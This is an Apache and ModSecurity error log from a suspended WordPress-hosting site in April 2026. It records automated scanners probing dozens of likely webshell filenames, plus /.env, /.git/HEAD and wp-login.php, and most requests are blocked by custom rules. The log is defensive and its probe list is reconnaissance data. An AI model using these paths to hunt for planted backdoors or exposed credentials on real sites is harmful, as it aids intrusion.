[Thu Apr 16 20:34:33.237296 2026] [:error] [pid 57639:tid 57666] [client 4.225.163.126:64534] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeDXWaMCQoTw7TsxWumDkAAAANQ"]
[Thu Apr 16 20:34:34.023567 2026] [:error] [pid 57639:tid 57653] [client 4.225.163.126:64550] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aeDXWqMCQoTw7TsxWumDmQAAAMc"]
[Thu Apr 16 20:34:34.715175 2026] [:error] [pid 57639:tid 57667] [client 4.225.163.126:64182] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aeDXWqMCQoTw7TsxWumDowAAANU"]
[Thu Apr 16 20:34:35.872872 2026] [:error] [pid 7880:tid 7904] [client 4.225.163.126:64876] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aeDXW6aezm4fSGc0yUKaUgAAAZM"]
[Thu Apr 16 20:34:36.820150 2026] [:error] [pid 29603:tid 29623] [client 4.225.163.126:64896] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aeDXXFfGOR6fpTWUAzqLvQAAARI"]
[Thu Apr 16 20:34:38.520549 2026] [:error] [pid 49094:tid 49103] [client 4.225.163.126:65518] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeDXXjbDwvcXorHR_MzCQgAAAUc"]
[Thu Apr 16 20:34:40.368211 2026] [:error] [pid 49094:tid 49118] [client 4.225.163.126:64569] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeDXYDbDwvcXorHR_MzCQwAAAVY"]
[Thu Apr 16 20:34:43.257724 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:64147] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeDXY6MCQoTw7TsxWumD1AAAAMU"]
[Thu Apr 16 20:34:44.793674 2026] [:error] [pid 29603:tid 29625] [client 4.225.163.126:65146] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeDXZFfGOR6fpTWUAzqLxAAAARQ"]
[Thu Apr 16 20:34:46.239714 2026] [:error] [pid 57639:tid 57646] [client 4.225.163.126:64856] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeDXZqMCQoTw7TsxWumD5QAAAMA"]
[Thu Apr 16 20:34:48.723351 2026] [:error] [pid 49094:tid 49105] [client 4.225.163.126:64868] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeDXaDbDwvcXorHR_MzCUQAAAUk"]
[Thu Apr 16 20:34:50.089749 2026] [:error] [pid 49094:tid 49119] [client 4.225.163.126:64516] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeDXajbDwvcXorHR_MzCWQAAAVc"]
[Thu Apr 16 20:34:51.474438 2026] [:error] [pid 57639:tid 57665] [client 4.225.163.126:64854] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeDXa6MCQoTw7TsxWumEBgAAANM"]
[Thu Apr 16 20:34:53.084065 2026] [:error] [pid 7880:tid 7895] [client 4.225.163.126:64484] [client 4.225.163.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeDXbaaezm4fSGc0yUKaYQAAAYo"]
[Thu Apr 16 20:34:54.100902 2026] [:error] [pid 57537:tid 57585] [client 4.225.163.126:64134] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeDXblVQRS8nm73ENAmxBQAAAEo"]
[Thu Apr 16 20:34:55.514816 2026] [:error] [pid 49094:tid 49110] [client 4.225.163.126:65501] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeDXbzbDwvcXorHR_MzCYwAAAU4"]
[Thu Apr 16 20:35:07.389036 2026] [:error] [pid 57536:tid 57557] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Thu Apr 16 20:35:07.940464 2026] [:error] [pid 57536:tid 57549] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Thu Apr 16 20:35:08.255357 2026] [:error] [pid 57536:tid 57562] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Thu Apr 16 20:35:08.586545 2026] [:error] [pid 57536:tid 57553] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/ws57.php
[Thu Apr 16 20:35:09.073279 2026] [:error] [pid 57536:tid 57565] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/ws61.php
[Thu Apr 16 20:35:09.382344 2026] [:error] [pid 57536:tid 57564] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/ws66.php
[Thu Apr 16 20:35:09.675433 2026] [:error] [pid 57536:tid 57551] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Thu Apr 16 20:35:09.975698 2026] [:error] [pid 57536:tid 57554] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/xynz.php
[Thu Apr 16 20:35:10.284539 2026] [:error] [pid 57536:tid 57567] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-01ul.php
[Thu Apr 16 20:35:10.637551 2026] [:error] [pid 57536:tid 57559] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/e7.php
[Thu Apr 16 20:35:10.944415 2026] [:error] [pid 57536:tid 57566] [client 4.225.163.126:65120] File does not exist: /usr/local/apache/htdocs/suspended-page/e3.php
[Thu Apr 16 20:35:11.371833 2026] [:error] [pid 57536:tid 57558] [client 4.225.163.126:65120] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aeDXfyQU4faGja6jpDtqFwAAAAo"]
[Thu Apr 16 20:35:12.165197 2026] [:error] [pid 49094:tid 49112] [client 4.225.163.126:64846] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aeDXgDbDwvcXorHR_MzCiAAAAVA"]
[Thu Apr 16 20:35:13.911006 2026] [:error] [pid 57538:tid 57620] [client 4.225.163.126:64562] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aeDXgcuMaiEF5SVR2BfZKwAAAJI"]
[Thu Apr 16 20:35:14.695527 2026] [:error] [pid 57538:tid 57624] [client 4.225.163.126:64921] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aeDXgsuMaiEF5SVR2BfZLAAAAJY"]
[Thu Apr 16 20:35:15.797616 2026] [:error] [pid 49094:tid 49106] [client 4.225.163.126:63621] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeDXgzbDwvcXorHR_MzCjwAAAUo"]
[Thu Apr 16 20:35:16.666472 2026] [:error] [pid 57639:tid 57665] [client 4.225.163.126:64936] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeDXhKMCQoTw7TsxWumEsgAAANM"]
[Thu Apr 16 20:35:18.173318 2026] [:error] [pid 57536:tid 57566] [client 4.225.163.126:63882] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeDXhiQU4faGja6jpDtqHQAAABI"]
[Thu Apr 16 20:35:19.670872 2026] [:error] [pid 49094:tid 49098] [client 4.225.163.126:64156] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeDXhzbDwvcXorHR_MzCmAAAAUI"]
[Thu Apr 16 20:35:21.022637 2026] [:error] [pid 49094:tid 49101] [client 4.225.163.126:64932] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "aeDXiTbDwvcXorHR_MzCngAAAUU"]
[Thu Apr 16 20:35:22.616638 2026] [:error] [pid 57536:tid 57570] [client 4.225.163.126:64931] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "aeDXiiQU4faGja6jpDtqIwAAABY"]
[Thu Apr 16 20:35:23.681008 2026] [:error] [pid 57536:tid 57551] [client 4.225.163.126:65495] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "aeDXiyQU4faGja6jpDtqJwAAAAM"]
[Thu Apr 16 20:35:24.671515 2026] [:error] [pid 49094:tid 49109] [client 4.225.163.126:63584] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "aeDXjDbDwvcXorHR_MzCqAAAAU0"]
[Thu Apr 16 20:35:25.850384 2026] [:error] [pid 57536:tid 57571] [client 4.225.163.126:64153] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeDXjSQU4faGja6jpDtqLAAAABc"]
[Thu Apr 16 20:35:27.488427 2026] [:error] [pid 7880:tid 7907] [client 4.225.163.126:64155] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeDXj6aezm4fSGc0yUKaiAAAAZY"]
[Thu Apr 16 20:35:28.986046 2026] [:error] [pid 57639:tid 57661] [client 4.225.163.126:64136] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeDXkKMCQoTw7TsxWumE7wAAAM8"]
[Thu Apr 16 20:35:30.851253 2026] [:error] [pid 49094:tid 49110] [client 4.225.163.126:64863] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeDXkjbDwvcXorHR_MzCtgAAAU4"]
[Thu Apr 16 20:35:32.036174 2026] [:error] [pid 49094:tid 49118] [client 4.225.163.126:64899] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "aeDXlDbDwvcXorHR_MzCtwAAAVY"]
[Thu Apr 16 20:36:01.196910 2026] [:error] [pid 29603:tid 29622] [client 4.225.163.126:64171] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "aeDXsVfGOR6fpTWUAzqL-gAAARE"]
[Thu Apr 16 20:36:03.186076 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:64554] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "aeDXs6MCQoTw7TsxWumFkgAAAMU"]
[Thu Apr 16 20:36:05.684002 2026] [:error] [pid 57639:tid 57669] [client 4.225.163.126:64507] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "aeDXtaMCQoTw7TsxWumFoAAAANc"]
[Thu Apr 16 20:36:07.191743 2026] [:error] [pid 29603:tid 29618] [client 4.225.163.126:65200] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeDXt1fGOR6fpTWUAzqL_wAAAQ0"]
[Thu Apr 16 20:36:08.966667 2026] [:error] [pid 57639:tid 57647] [client 4.225.163.126:64922] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeDXuKMCQoTw7TsxWumFpwAAAME"]
[Thu Apr 16 20:36:09.976982 2026] [:error] [pid 49094:tid 49106] [client 4.225.163.126:64526] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeDXuTbDwvcXorHR_MzDCwAAAUo"]
[Thu Apr 16 20:36:10.971342 2026] [:error] [pid 57538:tid 57610] [client 4.225.163.126:64553] File does not exist: /usr/local/apache/htdocs/suspended-page/Ov-Simple1.php
[Thu Apr 16 20:36:11.291197 2026] [:error] [pid 57538:tid 57613] [client 4.225.163.126:64553] File does not exist: /usr/local/apache/htdocs/suspended-page/curl.php
[Thu Apr 16 20:36:11.605162 2026] [:error] [pid 57538:tid 57603] [client 4.225.163.126:64553] File does not exist: /usr/local/apache/htdocs/suspended-page/sallu.php
[Thu Apr 16 20:36:11.901126 2026] [:error] [pid 57538:tid 57615] [client 4.225.163.126:64553] File does not exist: /usr/local/apache/htdocs/suspended-page/f6.php
[Thu Apr 16 20:36:13.234992 2026] [:error] [pid 57538:tid 57615] [client 4.225.163.126:64553] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Thu Apr 16 20:36:13.579176 2026] [:error] [pid 57538:tid 57620] [client 4.225.163.126:64553] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu Apr 16 20:36:13.870758 2026] [:error] [pid 57538:tid 57617] [client 4.225.163.126:64553] File does not exist: /usr/local/apache/htdocs/suspended-page/goods_260325043000.php
[Thu Apr 16 20:36:14.191059 2026] [:error] [pid 57538:tid 57604] [client 4.225.163.126:64553] File does not exist: /usr/local/apache/htdocs/suspended-page/goods_260401065719.php
[Thu Apr 16 23:41:27.686887 2026] [:error] [pid 57639:tid 57650] [client 159.26.105.64:43327] [client 159.26.105.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.105.64, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeEDJ6MCQoTw7TsxWukcXwAAAMQ"], referer: https://wordpress.org/
[Thu Apr 16 23:41:27.690896 2026] [:error] [pid 57639:tid 57650] [client 159.26.105.64:43327] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://wordpress.org/
[Thu Apr 16 23:41:28.279133 2026] [:error] [pid 7880:tid 7900] [client 159.26.105.64:38431] [client 159.26.105.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.26.105.64, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeEDKKaezm4fSGc0yULa_gAAAY8"], referer: https://www.facebook.com/
[Thu Apr 16 23:41:28.283556 2026] [:error] [pid 7880:tid 7900] [client 159.26.105.64:38431] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.facebook.com/
[Fri Apr 17 00:12:50.723455 2026] [:error] [pid 43482:tid 43508] [client 45.130.203.156:47649] [client 45.130.203.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/HEAD"] [unique_id "aeEKgj9SZnuKxlHrct1rDwAAANg"]
[Fri Apr 17 00:12:51.496325 2026] [:error] [pid 43385:tid 43401] [client 45.130.203.176:39349] [client 45.130.203.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/HEAD"] [unique_id "aeEKg8nIxkJaUI8KNs7qWQAAAAw"]
[Fri Apr 17 00:24:19.259738 2026] [:error] [pid 3245:tid 3285] [client 34.168.59.108:52920] [client 34.168.59.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aeENM6ESOMTHVLs-uFC0QQAAARc"]
[Fri Apr 17 01:38:39.954048 2026] [:error] [pid 43386:tid 43435] [client 172.213.224.11:27126] File does not exist: /usr/local/apache/htdocs/suspended-page/file6.php
[Fri Apr 17 01:38:40.227927 2026] [:error] [pid 43386:tid 43437] [client 172.213.224.11:27126] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-xme.php
[Fri Apr 17 01:38:40.500495 2026] [:error] [pid 43386:tid 43421] [client 172.213.224.11:27126] File does not exist: /usr/local/apache/htdocs/suspended-page/il.php
[Fri Apr 17 01:38:40.781820 2026] [:error] [pid 43386:tid 43429] [client 172.213.224.11:27126] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Fri Apr 17 01:38:41.327129 2026] [:error] [pid 43386:tid 43442] [client 172.213.224.11:27126] File does not exist: /usr/local/apache/htdocs/suspended-page/ypp.php
[Fri Apr 17 01:38:41.606732 2026] [:error] [pid 43386:tid 43436] [client 172.213.224.11:27126] File does not exist: /usr/local/apache/htdocs/suspended-page/2468.php
[Fri Apr 17 01:38:41.876620 2026] [:error] [pid 43386:tid 43424] [client 172.213.224.11:27126] File does not exist: /usr/local/apache/htdocs/suspended-page/eterezrezt.php
[Fri Apr 17 01:38:42.419938 2026] [:error] [pid 43386:tid 43444] [client 172.213.224.11:27126] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Fri Apr 17 01:38:42.694412 2026] [:error] [pid 43386:tid 43438] [client 172.213.224.11:27126] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aeEeou91GAVgUfhPVDHLxwAAAFI"]
[Fri Apr 17 01:38:43.417313 2026] [:error] [pid 43385:tid 43412] [client 172.213.224.11:49857] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aeEeo8nIxkJaUI8KNs4lxwAAABY"]
